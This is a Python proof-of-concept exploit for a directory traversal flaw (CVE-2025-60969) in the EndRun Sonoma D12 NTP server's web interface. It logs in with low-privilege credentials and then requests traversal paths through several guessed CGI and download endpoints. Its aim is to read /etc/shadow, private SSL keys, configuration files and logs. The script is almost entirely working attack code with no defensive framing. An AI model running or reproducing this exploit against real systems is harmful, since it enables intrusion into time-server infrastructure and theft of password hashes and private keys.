#!/usr/bin/env python3
# CVE-2025-60969 - EndRun Sonoma D12 Directory Traversal PoC
# Author: Security Research
# Description: Exploits directory traversal vulnerability in Sonoma D12 NTP Server
# Affected: F/W 6010-0076-000 Ver 4.00
import requests
import sys
from urllib.parse import quote
TARGET_URL = "http://target-sonoma-d12"
USERNAME = "low_priv_user"
PASSWORD = "password123"
# Files to attempt to read via directory traversal
SENSITIVE_FILES = [
"../../../../etc/passwd",
"../../../../etc/shadow",
"../../../../config/system.cfg",
"../../../conf/ntp.conf",
"../../../../opt/endrun/config.ini",
"../../../../var/log/messages",
"../../../../etc/ssl/private/server.key",
]
def login(session, base_url, username, password):
"""Authenticate to the Sonoma D12 web management interface"""
login_url = f"{base_url}/login.cgi"
data = {
"username": username,
"password": password
}
resp = session.post(login_url, data=data, allow_redirects=False)
if resp.status_code == 302 or "session" in resp.headers.get("Set-Cookie", ""):
print(f"[+] Successfully logged in as {username}")
return True
print(f"[-] Login failed")
return False
def exploit_traversal(session, base_url, traversal_path):
"""Attempt directory traversal to read sensitive files"""
# Common vulnerable endpoints in NTP server web interfaces
endpoints = [
f"{base_url}/cgi-bin/download.cgi?file={quote(traversal_path)}",
f"{base_url}/cgi-bin/viewfile.cgi?path={quote(traversal_path)}",
f"{base_url}/download?file={quote(traversal_path)}",
f"{base_url}/file?path={quote(traversal_path)}",
]
for url in endpoints:
try:
resp = session.get(url, timeout=10)
if resp.status_code == 200 and len(resp.content) > 0:
content_type = resp.headers.get("Content-Type", "")
if "text" in content_type or "octet-stream" in content_type:
print(f"[+] VULNERABLE - URL: {url}")
print(f"[+] Content preview:\n{resp.text[:500]}")
return resp.text
except requests.RequestException:
continue
return None
def main():
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
session = requests.Session()
print(f"[*] Targeting: {target}")
print(f"[*] CVE-2025-60969 - Directory Traversal in Sonoma D12")
if not login(session, target, USERNAME, PASSWORD):
print("[-] Cannot proceed without valid credentials")
sys.exit(1)
for file_path in SENSITIVE_FILES:
print(f"\n[*] Attempting to read: {file_path}")
result = exploit_traversal(session, target, file_path)
if result:
print(f"[+] Successfully extracted file contents")
break
if __name__ == "__main__":
main()